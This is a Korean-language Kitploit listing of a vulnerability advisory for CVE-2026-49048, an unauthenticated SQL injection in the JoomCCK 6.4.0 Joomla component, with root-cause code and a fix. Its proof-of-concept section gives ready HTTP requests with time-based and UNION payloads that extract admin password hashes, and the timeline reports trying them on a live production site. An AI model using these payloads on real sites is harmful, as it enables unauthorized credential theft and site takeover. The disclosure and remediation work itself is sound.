Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49048-JoomCCK-SQLi — CVE-2026-49048 — JoomCCK 6.4.0 인증되지 않은 SQL 인젝션 (CVSS 9.8) | Kitploit
도구/GitHubGitHub/kara-git/cve-2026-49048-joomcck-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubkara-git/cve-2026-49048-joomcck-sqli

CVE-2026-49048-JoomCCK-SQLi

CVE-2026-49048 — JoomCCK 6.4.0 인증되지 않은 SQL 인젝션 (CVSS 9.8)

저장소 보기
1223개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49048 — JoomCCK 6.4.0 인증되지 않은 SQL 인젝션 (CVSS 9.8)

CVE: CVE-2026-49048
상태: 공개 공개. Joomla 보안 대응팀(JSST)에 보고됨 — 티켓 #282420.


권고 요약

필드값
권고 IDJOOMCCK-2026-001
CVECVE-2026-49048
제품JoomCCK (com_joomcck) — Joomla용 콘텐츠 구성 키트
공급업체JoomCoder — https://www.joomcoder.com
영향 받는 버전6.4.0 (발견 당시 최신 버전, 이전 6.x 버전도 영향 받는 것으로 추정)
수정 버전작성 시점 기준 없음
유형권한 부재(CWE-862)를 통한 SQL 인젝션(CWE-89)
인증 필요없음 — 인증되지 않음, 사전 인증
심각도치명적 — CVSS 3.1 기본 점수 9.8
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
발견자Kamil Soltanov
연락처[email protected]
발견 날짜2026-06-22

요약

Joomla 4/5/6 컴포넌트 JoomCCK는 사용자가 제공한 tag 매개변수를 이스케이프나 매개변수화 없이 SQL에 직접 연결하는 프런트엔드 컨트롤러 작업(task=tags.save)을 노출합니다. 컴포넌트의 사용자 정의 MVC 디스패처는 CSRF 토큰 검사와 접근 제어 검사를 수행하지 않으므로, 완전히 인증되지 않은 원격 공격자가 인젝션에 도달할 수 있습니다.

성공적인 익스플로잇은 UNION 기반 및 시간 기반 블라인드 SQL 인젝션을 통해 #__users 비밀번호 해시를 포함한 Joomla 데이터베이스에 대한 전체 읽기 접근을 허용하여 사이트 전체 장악으로 이어집니다.


근본 원인 — 연쇄되는 두 가지 결함

1. 사용자 정의 MVC 디스패처의 권한 부재 (CWE-862)

libraries/mint/mvc/controller/base.php — MControllerBase::execute():

public function execute($task)
{
    $this->task = $task;
    $task = !is_null($task) ? strtolower($task) : '';
    $doTask = $this->taskMap[$task];
    ...
    return $this->$doTask();   // Invoked with no checkToken(), no authorise()
}

같은 클래스의 authorise() 메서드는 무조건 true를 반환하는 no-op입니다.
진입점 components/com_joomcck/joomcck.php는 로그인, 토큰, ACL 게이트 없이 execute(input->get('task'))를 호출합니다 → 모든 공개 컨트롤러 메서드가 인증되지 않은 태스크가 됩니다.

2. tags.save의 SQL 인젝션 (CWE-89)

components/com_joomcck/models/tags.php — _saveTag():

$tag = $app->input->getString('tag');   // Joomla 'STRING' filter: strips HTML but NOT SQL quotes

$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';  // INJECTABLE
$exist_item = $this->_getList($query);

// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;    // INJECTABLE

Joomla의 STRING 입력 필터는 HTML 태그를 제거하지만 "는 그대로 통과시킵니다. 이는 여기서 SQL 문자열 구분자로 사용되는 것과 동일한 문자입니다. 인용된 리터럴을 탈출하면 임의의 SQL이 주입됩니다.


개념 증명

시간 기반 블라인드 (사전 지식 불필요)

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com

예상: 응답이 5초 이상 지연됨(일치하는 행 기준).

UNION 데이터 유출

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com

로컬 랩 증거

전체 PoC 코드와 캡처된 증거 기록은 poc/에 있습니다.

주요 랩 결과:

페이로드 (tag=)결과
cars (정상)1개 행 반환 — 정상
zzz" OR "1"="1"가 이스케이프되지 않음 → 모든 행 반환 (인젝션 확인됨)
zzz" UNION SELECT id,username,password FROM jos_users-- -관리자 비밀번호 해시 유출
zzz" OR SLEEP(3)-- -응답 지연 9.0초 (3개 행 × 3초)

랩 하네스는 실제 Joomla\Input\Input::getString()과 실행 중인 MariaDB 11.8 인스턴스에 대한 원본 그대로의 _saveTag() 쿼리를 사용합니다.


영향

인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:

  • Joomla 데이터베이스에서 임의 데이터(자격 증명, 세션 토큰, 개인 식별 정보)를 읽기 → 완전한 관리자 권한 탈취
  • 인젝션 가능한 UPDATE를 통해 #__js_res_tags의 행을 수정
  • task=tags.delete 및 task=records.copy와 연계 (역시 인증 불필요 — 동일한 디스패처 결함)

부차적 발견 — 깨진 접근 제어 (CWE-862, CVSS ~6.5)

동일한 디스패처 결함으로 인해 추가적인 인증 불필요 작업이 노출됩니다:

작업효과
tags.delete인증 없이 모든 태그 삭제
records.copy인증 없이 모든 레코드 복제
ajax.category_records카테고리별 레코드 열거
ajax.tags_list모든 태그 나열
ajax.users_filter사용자 이름 열거
ajax.loadfieldparams필드 구성 공개

참고: 많은 records.* 작업은 내부적으로 _checkAccess()를 통해 ACL을 적용하므로 영향을 받지 않습니다.


해결 방안

1. 모든 쿼리 매개변수화 (Joomla 쿼리 빌더):

$db  = $this->getDatabase();
$tag = $app->input->getString('tag');

// SELECT
$query = $db->getQuery(true)
    ->select('a.*')
    ->from($db->quoteName('#__js_res_tags', 'a'))
    ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));

// UPDATE
$upd = $db->getQuery(true)
    ->update($db->quoteName('#__js_res_tags'))
    ->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
    ->where($db->quoteName('id') . ' = ' . (int) $id);

2. 디스패처에서 권한 부여 강제 — 모든 상태 변경 작업 전에 Session::checkToken()과 ACL 검사(Factory::getApplication()->getIdentity()->authorise(...))를 추가하여, files.upload에 이미 존재하는 보호 조치를 그대로 적용합니다.


공개 타임라인

날짜사건
2026-06-22로컬 랩 PoC를 통해 취약점 발견 및 검증
2026-06-22권고문 작성; Joomla Security Strike Team(JSST) 및 VEL에 보고
2026-06-23JSST 접수 확인 — David Jardin, 티켓 #282420. JSST를 통한 벤더(JoomCoder) 협조
2026-06-25운영 중인 Joomla 사이트에서 실제 공격 확인: SLEEP(5) → 115초 응답; UNION에서 MySQL 오류 1222 발생(비파괴적, 데이터 유출 없음)
미정벤더 패치
미정CVE 할당
미정공개 공개(90일 협조 기간)

참고 자료

  • 벤더: https://www.joomcoder.com
  • Joomla VEL(취약 확장 목록): https://vel.joomla.org
  • Joomla JSST: [email protected]
  • CWE-89: SQL 인젝션
  • CWE-862: 권한 부여 누락

연구자 소개

독립 보안 연구원.
연락처: [email protected]

도구 다운로드